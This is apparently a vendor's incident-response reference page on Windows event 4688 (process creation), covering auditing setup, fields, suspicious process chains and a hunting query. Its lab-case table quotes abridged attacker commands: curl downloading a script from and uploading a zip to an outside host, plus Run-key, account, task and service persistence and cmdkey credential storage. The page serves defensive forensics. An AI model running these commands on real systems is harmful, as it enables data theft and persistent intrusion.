Event ID 4688: A new process has been created

Event ID 4688, "A new process has been created", is written to the Security log every time a program starts on a Windows computer where process creation auditing is enabled, and with the command-line policy on it records exactly what was run.

Security logProcesses, services and tasksChecked 1 December 2026

What event 4688 records

Each 4688 names the new process (full path), its process ID, the process that started it, the account and logon session it runs in, how elevated its token is and, if enabled, the full command line. Put in order, these events are a list of everything that ran on the machine: the attacker's discovery commands, downloads, persistence and clean-up included.

It is the single most useful event for answering "what did they do?", and it is off by default.

Turning it on

Two policy settings are needed, both available in Group Policy:

  • Computer Configuration › Windows Settings › Security Settings › Advanced Audit Policy Configuration › Detailed Tracking › Audit Process Creation: Success.
  • Computer Configuration › Administrative Templates › System › Audit Process Creation › Include command line in process creation events: Enabled (registry value ProcessCreationIncludeCmdLine_Enabled = 1 under HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit).

Without the second setting, 4688 records which program ran but not its arguments, which loses most of the value for scripts and living-off-the-land tools. Sysmon event 1 is the alternative many teams use: it adds hashes, the parent's command line and the working directory. If neither was enabled, execution has to be reconstructed from Prefetch, Amcache, ShimCache, BAM and PowerShell logs (see evidence of execution).

Process creation auditing raises the Security log volume considerably. Increase the log size when enabling it, or the evidence will roll over in days.

Token elevation type

ValueMeaning
%%1936 (Type 1)Full token: User Account Control is off, or the process runs as SYSTEM, a service or the built-in Administrator.
%%1937 (Type 2)Elevated token: the process was explicitly run as administrator (UAC prompt accepted).
%%1938 (Type 3)Limited token: a normal, non-elevated process.

A command shell or PowerShell with Type 2, run by a user who does not normally elevate, is worth a look. On Windows 10 and later the Mandatory Label field (Medium, High, System) gives the same information in another form.

Reading parent and child processes

The Creator Process Name (on Windows 10 and later) makes the most common malicious chains easy to see. Some parent-child pairs are almost never legitimate:

ParentChildWhat it usually means
winword.exe, excel.exe, outlook.exepowershell.exe, cmd.exe, mshta.exe, wscript.exeA malicious document or attachment running code
w3wp.exe, sqlservr.exe, tomcat or javacmd.exe, powershell.exe, whoami.exeA web shell or an exploited server application
wmiprvse.exepowershell.exe, cmd.exeRemote execution through WMI
services.execmd.exe or powershell.exe with a long command lineA service created to run a command (PsExec-style execution)
explorer.exepowershell.exe -enc …A user (or an attacker at the desktop) running encoded PowerShell

Process IDs in 4688 are in hexadecimal and are reused, so match a parent by both ID and time. Sysmon event 1 avoids that ambiguity with process GUIDs.

When the process has ended

Process termination is a separate event, 4689, under the same audit category. Pairing 4688 and 4689 by process ID gives a process's lifetime, which helps with questions such as "was the remote access tool still running when the data left?". Without it, Prefetch run times and SRUM application usage provide a coarser answer.

Command lines can contain secrets

Command-line auditing records arguments exactly as typed, including passwords passed to net user, cmdkey, net use, runas wrappers and database clients. In the Halden case, the attacker's net user and cmdkey commands both carried plaintext passwords. That makes 4688 evidence that needs careful handling: limit who can read the collected logs, redact passwords in reports, and treat any password found this way as compromised. It also means the attacker can learn the same secrets from the log if they reach it before you do.

Volume and retention

Process creation auditing on a workstation adds thousands of events a day; on servers that run many scripts, far more. Size the Security log accordingly (hundreds of megabytes is common once 4688 is on) or forward the events to central logging, otherwise the process history will cover only the last day or two. When collecting for an investigation, take the logs as early as possible, before routine activity overwrites the incident window.

Event 4688 fields

The fields an investigator reads first, what they mean, and where Arcsentry stores them.

FieldMeaningArcsentry field
Creator Subject: Account Name, Logon IDThe account and session of the process that started this one.event data
Target Subject: Account Name, Logon IDThe account the new process runs as, when it differs from the creator (Windows 10 and later).event data
New Process ID and New Process NameThe process ID (hexadecimal) and full path of the program.event data
Token Elevation TypeType 1, 2 or 3 (see above).event data
Mandatory LabelIntegrity level: Low, Medium, High or System.event data
Creator Process ID and Creator Process NameThe parent process. The name was added in Windows 10.event data
Process Command LineThe full command line, if the command-line policy is enabled.event data

In Arcsentry the program and command line are readable as process_executable and process_command_line, and the parent as process_parent_executable.

What event 4688 proves, and what it does not

It shows

  • That this program started at this time, under this account and session, from this parent, with these arguments (if logged).

It does not show

  • That the program succeeded or what it did. A download command does not prove a file arrived; check the file system and USN Journal.
  • Anything about processes that started when auditing was off, or before the log rolled over.

Attacker activity it reveals

Discovery commands

whoami, net user, net localgroup administrators, nltest, ipconfig and systeminfo in quick succession, minutes after a new logon. MITRE ATT&CK T1087

Tools that download

curl.exe, certutil.exe -urlcache, bitsadmin and PowerShell download cradles writing to ProgramData, Public or Temp. MITRE ATT&CK T1105

Persistence by command line

reg add to Run keys, schtasks /create, sc create and net user /add. Each also leaves its own event or artifact, so 4688 links them to one session. MITRE ATT&CK T1547.001

Living off the land

Signed Windows programs used to run code or move data: rundll32, regsvr32, mshta, wmic, msiexec with remote paths. MITRE ATT&CK T1218

In a real investigation: Halden Freight office intrusion

Process creation and command-line auditing were on in our Windows lab case, and the attacker's session on HF-WS01 reads like a script (times UTC):

TimeCommand (abridged)Stage
22:08:48curl.exe … http://10.211.55.2:8443/u.ps1 -o C:\ProgramData\HFUpdate\hfupdate.ps1Tool download
22:09:03reg.exe add HKCU\…\Run /v HFUpdate …Persistence: Run key
22:09:39net user svc_backup … /addPersistence: new account
22:09:56schtasks /create /tn HFUpdateCheck … /ru SYSTEMPersistence: scheduled task
22:10:02sc.exe create HFUpdateSvc …Persistence: service
22:10:22curl.exe -T q4-close.zip http://10.211.55.2:8443/upload/Exfiltration attempt
22:10:54cmdkey /add:TERMSRV/HF-WS02 /user:HF-WS02\m.lund …Stored credential for lateral movement
22:10:58mstsc /v:HF-WS02 /fRDP to the second workstation

Every row was corroborated elsewhere (the USN Journal shows the downloaded file being created, 7045 shows the service, 4720 the account), which is how a finding should be built: the process event says it ran, the artifact says it worked.

Finding event 4688 in Arcsentry

Arcsentry parses every channel in Windows\System32\winevt\Logs, whether it comes from an Arcsentry Collector archive, a KAPE or Velociraptor collection, or a disk image. Security log records are the event type evtx_security. In Hunt, with that event type selected:

filter event_code == "4688"
derive {proc = process_executable, cmd = process_command_line, parent = process_parent_executable}
filter proc ~= "(?i)(cmd|powershell|pwsh|curl|certutil|bitsadmin|reg|schtasks|sc|net1?|wmic|mshta|rundll32|regsvr32|cmdkey|mstsc)[.]exe$"
select {timestamp, user_name, parent, cmd}
sort {timestamp}

Command shells and the tools attackers use most, with their parents and command lines, in order. Narrow it to the minutes after a suspicious logon and it usually reads as the attacker's session.

Or ask in plain English, for example "show event 4688 on every host, oldest first", and Arcsentry shows the AQL it wrote before it runs. The AQL reference lists the operators used here, and the AI investigator reads the same events, citing each one by its event ID when it reports a finding.

Related event IDs

All events by investigation question: Windows security event IDs for incident response. Logon types in full: Windows logon types. The log files themselves: Windows event logs.

Frequently asked

Why does 4688 show a process ID in hexadecimal?

Windows writes New Process ID and Creator Process ID in hexadecimal in the Security log, unlike Task Manager and most tools, which show decimal. Convert before comparing with Sysmon, Prefetch or a memory image.

Is event 4688 enabled by default?

No. Process creation auditing and the separate setting that adds command lines are both off on a default Windows installation. Many organisations enable them through Group Policy, or use Sysmon instead.

How do I enable event ID 4688 with command lines?

Enable Advanced Audit Policy › Detailed Tracking › Audit Process Creation (Success), and the Administrative Templates policy "Include command line in process creation events". Increase the Security log size at the same time.

What is the difference between 4688 and Sysmon event 1?

Both record process creation. Sysmon event 1 adds file hashes, the parent's command line, the working directory and the process GUID, and is written to the Sysmon operational log. 4688 is built into Windows and written to the Security log.

What does token elevation type %%1937 mean?

The process was started with an elevated (full administrator) token after a User Account Control prompt. %%1936 is a full token without UAC, %%1938 a limited token.

Why are there no 4688 events on this computer?

Process creation auditing is off by default. Use Prefetch, Amcache, ShimCache, BAM, SRUM and the PowerShell logs to establish what ran instead.

Sources

  • Microsoft Learn: 4688(S) A new process has been created
  • Microsoft Learn: Command line process auditing
  • MITRE ATT&CK: T1059 Command and Scripting Interpreter; T1105 Ingress Tool Transfer; T1218 System Binary Proxy Execution
  • Venema Labs lab case: Halden Freight office intrusion, HF-WS01 Security log

Checked 1 December 2026 by Venema Labs against Microsoft's audit documentation and, where an example is shown, the named lab case. Field availability varies by Windows version.

Find event 4688 across every host in minutes.

Load your collections, ask what happened, and check every finding against the event behind it. Free for 7 days.

Request a trial